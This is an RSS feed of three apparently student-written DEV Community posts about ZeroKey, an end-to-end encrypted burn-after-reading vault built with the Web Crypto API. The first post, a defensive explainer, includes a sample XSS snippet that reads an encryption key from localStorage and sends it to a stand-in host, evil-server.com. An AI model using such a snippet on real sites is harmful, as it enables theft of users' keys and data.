<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Unknown</title>
    <description>The latest articles on DEV Community by Unknown (@unknown_349d70ccfed8c62ee).</description>
    <link>https://dev.to/unknown_349d70ccfed8c62ee</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F3820050%2F301880aa-b0cf-478b-b9eb-e43211576ea7.jpg</url>
      <title>DEV Community: Unknown</title>
      <link>https://dev.to/unknown_349d70ccfed8c62ee</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/unknown_349d70ccfed8c62ee"/>
    <language>en</language>
    <item>
      <title>The 1 Line of JavaScript That Saves Your E2EE App from XSS</title>
      <dc:creator>Unknown</dc:creator>
      <pubDate>Tue, 21 Apr 2026 17:36:22 +0000</pubDate>
      <link>https://dev.to/unknown_349d70ccfed8c62ee/the-1-line-of-javascript-that-saves-your-e2ee-app-from-xss-5ehd</link>
      <guid>https://dev.to/unknown_349d70ccfed8c62ee/the-1-line-of-javascript-that-saves-your-e2ee-app-from-xss-5ehd</guid>
      <description>&lt;p&gt;Hey everyone! 👋 I’m a student currently studying for my board exams, and in my free time, I’ve been building a zero-knowledge "burn-after-reading" vault called ZeroKey.&lt;/p&gt;

&lt;p&gt;While building the client-side encryption engine, I stumbled upon a massive vulnerability that most developers accidentally leave wide open when building End-to-End Encrypted (E2EE) apps: Key Exfiltration via XSS.&lt;/p&gt;

&lt;p&gt;Here is how it happens, and the 1-line Web Crypto API feature I used to stop it.&lt;/p&gt;

&lt;p&gt;The Key Exfiltration Threat 🛑&lt;br&gt;
You can have perfectly implemented AES-GCM encryption. Your server might never see a single plaintext byte. But if a malicious Chrome extension or a zero-day XSS attack injects JavaScript into your page, they don't need to break your math. They just read your variables.&lt;/p&gt;

&lt;p&gt;When developers build E2EE web apps, they usually store the encryption key in a JavaScript variable, React State, or localStorage. If an attacker gets XSS execution, they run this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nx"&gt;JavaScript&lt;/span&gt;
&lt;span class="c1"&gt;// A hacker's injected script steals your key instantly&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;stolenKey&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;window&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;localStorage&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;getItem&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;my_aes_key&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nf"&gt;fetch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;https://evil-server.com/steal&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;method&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;POST&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;body&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;stolenKey&lt;/span&gt; &lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Game over. Your zero-knowledge architecture is compromised.&lt;/p&gt;

&lt;p&gt;The Solution: Non-Extractable Keys 🔐&lt;br&gt;
The native Web Crypto API has a brilliant, hardware-backed security feature designed specifically to defeat this attack: extractable: false.&lt;/p&gt;

&lt;p&gt;When you generate or import a key as "non-extractable," the raw key material is pushed deep into the browser's cryptographic boundary (often utilizing OS-level secure enclaves like the TPM on Windows or Secure Enclave on Macs).&lt;/p&gt;

&lt;p&gt;Your JavaScript code can pass this CryptoKey object to crypto.subtle.encrypt() to do the math, but the browser will throw a fatal error if any script attempts to read, print, or export the raw key.&lt;/p&gt;

&lt;p&gt;Implementation in JavaScript&lt;br&gt;
Here is how to properly import a user's password into a completely unreadable CryptoKey object. Notice the false boolean parameter:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nx"&gt;JavaScript&lt;/span&gt;
&lt;span class="c1"&gt;// Securing the key during derivation/import&lt;/span&gt;
&lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;deriveSecureKey&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;passwordStr&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;saltBuffer&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;enc&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;TextEncoder&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;

    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;keyMaterial&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nb"&gt;window&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;crypto&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;subtle&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;importKey&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
        &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;raw&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; 
        &lt;span class="nx"&gt;enc&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;encode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;passwordStr&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; 
        &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;PBKDF2&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt; &lt;span class="p"&gt;},&lt;/span&gt; 
        &lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="c1"&gt;// &amp;lt;-- CRITICAL: Key material cannot be extracted&lt;/span&gt;
        &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;deriveKey&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="p"&gt;);&lt;/span&gt;

    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nb"&gt;window&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;crypto&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;subtle&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;deriveKey&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
        &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;PBKDF2&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;salt&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;saltBuffer&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;iterations&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;100000&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;hash&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;SHA-256&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt; &lt;span class="p"&gt;},&lt;/span&gt;
        &lt;span class="nx"&gt;keyMaterial&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; 
        &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;AES-GCM&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;length&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;256&lt;/span&gt; &lt;span class="p"&gt;},&lt;/span&gt; 
        &lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="c1"&gt;// &amp;lt;-- CRITICAL: Derived AES key cannot be extracted&lt;/span&gt;
        &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;encrypt&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;decrypt&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;How do you save it for later? 💾&lt;br&gt;
If the key is non-extractable, how do you save it so the user doesn't have to type their password on every single page load?&lt;/p&gt;

&lt;p&gt;You can't put it in localStorage because localStorage only accepts strings, and the browser refuses to turn this key into a string!&lt;/p&gt;

&lt;p&gt;The answer is IndexedDB.&lt;/p&gt;

&lt;p&gt;Modern browsers allow you to store raw CryptoKey objects directly into IndexedDB using the Structured Clone Algorithm. The key remains safely inside the browser's secure boundary, surviving page reloads without ever exposing the raw bytes to the JavaScript context.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nx"&gt;JavaScript&lt;/span&gt;
&lt;span class="c1"&gt;// Storing a CryptoKey securely in IndexedDB&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;request&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;indexedDB&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;SecureVault&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="nx"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;onsuccess&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;event&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;db&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;event&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;target&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;result&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;transaction&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;db&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;transaction&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Keys&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;readwrite&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;objectStore&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;transaction&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;objectStore&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Keys&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

    &lt;span class="c1"&gt;// cryptoKey is our non-extractable key&lt;/span&gt;
    &lt;span class="c1"&gt;// It goes into the database as an opaque object&lt;/span&gt;
    &lt;span class="nx"&gt;objectStore&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;put&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;cryptoKey&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;MasterAESKey&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; 
&lt;span class="p"&gt;};&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Bulletproof Zero-Knowledge 🚀&lt;br&gt;
I implemented this exact architecture in ZeroKey to ensure that even if the frontend is somehow compromised by a rogue NPM package, user payloads remain perfectly secure.&lt;/p&gt;

&lt;p&gt;If you want to see how this interacts with PostgreSQL RLS and URL Fragment hashing, I open-sourced the whole project:&lt;/p&gt;

&lt;p&gt;💻 GitHub Repo: &lt;a href="http://www.github.com/kdippan/zerokey" rel="noopener noreferrer"&gt;www.github.com/kdippan/zerokey&lt;/a&gt;&lt;br&gt;
🌐 Live App: &lt;a href="http://www.zerokey.vercel.app" rel="noopener noreferrer"&gt;www.zerokey.vercel.app&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;As a rising developer, I would absolutely love any feedback, code reviews, or stars on GitHub from the security engineers here! Let me know how you handle client-side key storage in your apps in the comments. 👇&lt;/p&gt;

</description>
      <category>javascript</category>
      <category>security</category>
      <category>webdev</category>
      <category>cryptography</category>
    </item>
    <item>
      <title>How to Build a Zero-Knowledge, Burn-After-Reading Vault with the Web Crypto API</title>
      <dc:creator>Unknown</dc:creator>
      <pubDate>Thu, 12 Mar 2026 09:59:22 +0000</pubDate>
      <link>https://dev.to/unknown_349d70ccfed8c62ee/how-to-build-a-zero-knowledge-burn-after-reading-vault-with-the-web-crypto-api-4ih</link>
      <guid>https://dev.to/unknown_349d70ccfed8c62ee/how-to-build-a-zero-knowledge-burn-after-reading-vault-with-the-web-crypto-api-4ih</guid>
      <description>&lt;p&gt;Data privacy is one of the most critical challenges in modern web development. When building secure messaging apps or file-sharing tools, developers often rely on server-side encryption. The fatal flaw in this approach is that the server still holds the decryption keys. If the database is compromised, the plaintext data is exposed.&lt;/p&gt;

&lt;p&gt;To solve this, I built &lt;strong&gt;ZeroKey&lt;/strong&gt;, an open-source, end-to-end encrypted (E2EE), burn-after-reading payload delivery system. &lt;/p&gt;

&lt;p&gt;In this tutorial, I will break down the zero-knowledge architecture behind ZeroKey and explain how you can implement client-side AES-256-GCM encryption using the native Web Crypto API, Vercel Serverless Functions, and Supabase Row Level Security (RLS).&lt;/p&gt;

&lt;h3&gt;
  
  
  The Architecture of a Zero-Knowledge Application
&lt;/h3&gt;

&lt;p&gt;A true zero-knowledge architecture guarantees that the server routing the data mathematically cannot read the payload. To achieve this, ZeroKey relies on three core security pillars:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Client-Side Cryptography:&lt;/strong&gt; Data is encrypted in the browser before network transmission.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;URL Fragment Key Exchange:&lt;/strong&gt; The decryption key is passed via the URL hash, which browsers never send to the server.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Hard Data Destruction:&lt;/strong&gt; A read-once, burn-after-reading protocol ensures zero data retention.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Let's break down the implementation.&lt;/p&gt;

&lt;h3&gt;
  
  
  1. Client-Side Encryption with AES-256-GCM
&lt;/h3&gt;

&lt;p&gt;Instead of relying on third-party cryptographic libraries that increase bundle size and introduce supply chain risks, ZeroKey uses the browser's native &lt;code&gt;window.crypto.subtle&lt;/code&gt; API.&lt;/p&gt;

&lt;p&gt;When a user creates a payload, the application generates a secure 16-byte salt and a 12-byte Initialization Vector (IV). Using &lt;code&gt;PBKDF2&lt;/code&gt; with 100,000 SHA-256 iterations, we derive a robust 256-bit cryptographic key from an auto-generated or user-provided PIN.&lt;/p&gt;

&lt;p&gt;Here is a simplified look at the encryption implementation:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;encryptPayload&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;dataBuffer&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;key&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="c1"&gt;// Generate a cryptographically secure random IV&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;iv&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;window&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;crypto&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;getRandomValues&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;Uint8Array&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;12&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;

    &lt;span class="c1"&gt;// Encrypt the payload using AES-256-GCM&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;encryptedContent&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nb"&gt;window&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;crypto&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;subtle&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;encrypt&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
        &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;AES-GCM&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;iv&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;iv&lt;/span&gt; &lt;span class="p"&gt;},&lt;/span&gt; 
        &lt;span class="nx"&gt;key&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; 
        &lt;span class="nx"&gt;dataBuffer&lt;/span&gt;
    &lt;span class="p"&gt;);&lt;/span&gt;

    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; 
        &lt;span class="na"&gt;encryptedBase64&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nf"&gt;bufferToBase64&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;encryptedContent&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; 
        &lt;span class="na"&gt;ivBase64&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nf"&gt;bufferToBase64&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;iv&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; 
    &lt;span class="p"&gt;};&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This guarantees that the payload is converted into unreadable ciphertext before any API requests are made.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Zero-Knowledge Routing via URL Fragments
The biggest challenge in E2EE is key exchange. How do we give the recipient the decryption key without the server intercepting it?
ZeroKey utilizes a fundamental mechanic of web browsers: the URL fragment. When a secure link is generated, it looks like this:
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;https://zerokey.vercel.app/view?id=[UUID]&amp;amp;iv=[Base64]&amp;amp;salt=[Base64]#[Decryption_Key]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;According to HTTP specifications, browsers do not transmit the fragment identifier (anything following the # symbol) to the server. The Vercel routing layer and the Supabase database only receive the ciphertext, the UUID, the salt, and the IV. The decryption key remains securely isolated in the client's local memory, allowing the recipient's device to execute the AES-GCM decryption locally.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Securing the Database with Supabase RLS
Storing encrypted data still presents a risk if an attacker can continuously query the database. To mitigate this, ZeroKey utilizes Supabase Row Level Security (RLS).
The PostgreSQL database is entirely locked down from public access. The frontend cannot execute direct read or write operations. Instead, the application communicates exclusively with Vercel Serverless API routes. These Node.js functions utilize a secure Service Role key to bypass RLS, ensuring that database transactions are strictly controlled by backend logic.&lt;/li&gt;
&lt;li&gt;The Burn-After-Reading Protocol
To ensure strict zero data retention, payloads must not persist after being consumed.
When the recipient opens the link and successfully decrypts the payload locally, the frontend fires an asynchronous destruction signal to the /api/destroySecret serverless function. This triggers a hard DELETE command on both the PostgreSQL row and any associated media blobs in the Supabase Storage bucket. If the link is clicked a second time, a 404 response is returned. The data is permanently purged.
Review the Code
Building this project was an incredible dive into applied cryptography and secure full-stack architecture. By combining the Web Crypto API with modern serverless infrastructure, developers can build tools that prioritize user privacy by default.
The entire ZeroKey project is open-source. I encourage security researchers, web developers, and cryptography enthusiasts to review the codebase, test the architecture, or contribute to the project.

&lt;ul&gt;
&lt;li&gt;GitHub Repository: &lt;a href="https://GitHub.com/KDippan/ZeroKey" rel="noopener noreferrer"&gt;github.com/kdippan/zerokey&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;Live Application: &lt;a href="https://ZeroKey.vercel.app" rel="noopener noreferrer"&gt;zerokey.vercel.app&lt;/a&gt;
Have you implemented the Web Crypto API in your own projects? I would love to hear your thoughts on this architecture in the comments below.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;

</description>
      <category>security</category>
      <category>javascript</category>
      <category>webdev</category>
      <category>opensource</category>
    </item>
    <item>
      <title>How I Built a Zero-Knowledge "Burn-After-Reading" Vault using the Web Crypto API</title>
      <dc:creator>Unknown</dc:creator>
      <pubDate>Thu, 12 Mar 2026 09:54:29 +0000</pubDate>
      <link>https://dev.to/unknown_349d70ccfed8c62ee/how-i-built-a-zero-knowledge-burn-after-reading-vault-using-the-web-crypto-api-5oc</link>
      <guid>https://dev.to/unknown_349d70ccfed8c62ee/how-i-built-a-zero-knowledge-burn-after-reading-vault-using-the-web-crypto-api-5oc</guid>
      <description>&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fdalmd47g87n20otkno7c.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fdalmd47g87n20otkno7c.png" alt=" " width="800" height="497"&gt;&lt;/a&gt;&lt;br&gt;
As a student developer, I wanted to deeply understand cryptography and backend security. I noticed a glaring issue with many popular "secure" file-sharing and messaging platforms: they handle your decryption keys on their backend. &lt;/p&gt;

&lt;p&gt;If their servers get breached, or if an administrator decides to look, your data is compromised. &lt;/p&gt;

&lt;p&gt;I wanted to build an architecture where the server mathematically cannot read the payloads passing through it. To solve this, I built &lt;strong&gt;ZeroKey&lt;/strong&gt;, an open-source, end-to-end encrypted, burn-after-reading payload delivery system. &lt;/p&gt;

&lt;p&gt;Here is a breakdown of how I built it using Vanilla JavaScript, Vercel, and Supabase.&lt;/p&gt;

&lt;h3&gt;
  
  
  The Tech Stack
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Frontend:&lt;/strong&gt; Vanilla JS, HTML5, Tailwind CSS&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Cryptography:&lt;/strong&gt; Native Web Crypto API (&lt;code&gt;window.crypto.subtle&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Backend:&lt;/strong&gt; Vercel Serverless Functions (Node.js)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Database:&lt;/strong&gt; Supabase (PostgreSQL &amp;amp; Storage)&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  1. Client-Side Encryption (AES-256-GCM)
&lt;/h3&gt;

&lt;p&gt;The golden rule of ZeroKey is that plaintext never leaves the browser. &lt;/p&gt;

&lt;p&gt;When a user enters a secret or attaches a file (up to 2MB), the frontend uses &lt;code&gt;window.crypto.getRandomValues&lt;/code&gt; to generate a secure 16-byte salt and a 12-byte Initialization Vector (IV). &lt;/p&gt;

&lt;p&gt;If the user provides a custom PIN, I use &lt;code&gt;PBKDF2&lt;/code&gt; with 100,000 SHA-256 iterations to derive a robust 256-bit cryptographic key. The payload is then encrypted using AES-256-GCM. &lt;/p&gt;

&lt;h3&gt;
  
  
  2. The URL Fragment Exploit (Zero-Knowledge Routing)
&lt;/h3&gt;

&lt;p&gt;How do you share the decryption key with the recipient without sending it to the database? You use the URL fragment.&lt;/p&gt;

&lt;p&gt;When ZeroKey generates a shareable link, it looks like this:&lt;br&gt;
&lt;code&gt;https://zerokey.vercel.app/view?id=[UUID]&amp;amp;iv=[Base64]&amp;amp;salt=[Base64]#[Decryption_Key]&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;By design, web browsers &lt;strong&gt;do not&lt;/strong&gt; send the URL fragment (anything after the &lt;code&gt;#&lt;/code&gt; symbol) to the server. When the recipient clicks the link, Vercel and Supabase only see the &lt;code&gt;id&lt;/code&gt;, &lt;code&gt;iv&lt;/code&gt;, and &lt;code&gt;salt&lt;/code&gt;. The actual decryption key remains entirely on the client side, allowing the recipient's browser to execute the AES-GCM decryption locally. &lt;/p&gt;

&lt;p&gt;The server is completely blind.&lt;/p&gt;

&lt;h3&gt;
  
  
  3. True Burn-After-Reading (Supabase RLS)
&lt;/h3&gt;

&lt;p&gt;To ensure zero data retention, the Supabase database is locked down strictly using Row-Level Security (RLS). The public internet has zero access to read or write data. &lt;/p&gt;

